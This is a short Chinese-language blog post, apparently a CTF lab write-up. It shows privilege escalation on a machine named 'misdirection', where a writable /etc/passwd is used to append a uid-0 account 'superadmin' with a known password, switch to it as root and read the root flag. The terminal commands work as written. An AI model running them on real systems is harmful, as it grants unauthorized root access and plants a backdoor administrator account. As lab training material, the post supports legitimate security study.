提权:可写的/etc/passwd创建用户提权

前提

brexit@misdirection:/tmp$ whoami
whoami
brexit
brexit@misdirection:/tmp$ ls -liah /etc/passwd
ls -liah /etc/passwd
153253 -rwxrwxr-- 1 roxx brexit 1.8K May 15 08:10 /etc/passwd

创建用户前的准备

brexit@misdirection:/tmp$ openssl passwd -1 123456
openssl passwd -1 123456
$1$/TjqfBNd$EFcF2nOIBWW3TzueYgzy6/

构造语句

superadmin:$1$/TjqfBNd$EFcF2nOIBWW3TzueYgzy6/:0:0:root:/root:/bin/bash

提权

brexit@misdirection:/tmp$ echo 'superadmin:$1$/TjqfBNd$EFcF2nOIBWW3TzueYgzy6/:0:0:root:/root:/bin/bash' >> /etc/passwd
<TzueYgzy6/:0:0:root:/root:/bin/bash' >> /etc/passwd
brexit@misdirection:/tmp$ su superadmin
su superadmin
Password: 123456

root@misdirection:/tmp# whoami
whoami
root
root@misdirection:/tmp# cat /root/root.txt
cat /root/root.txt
0d2c6222bfdd3701e0fa12a9a9dc9c8c

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值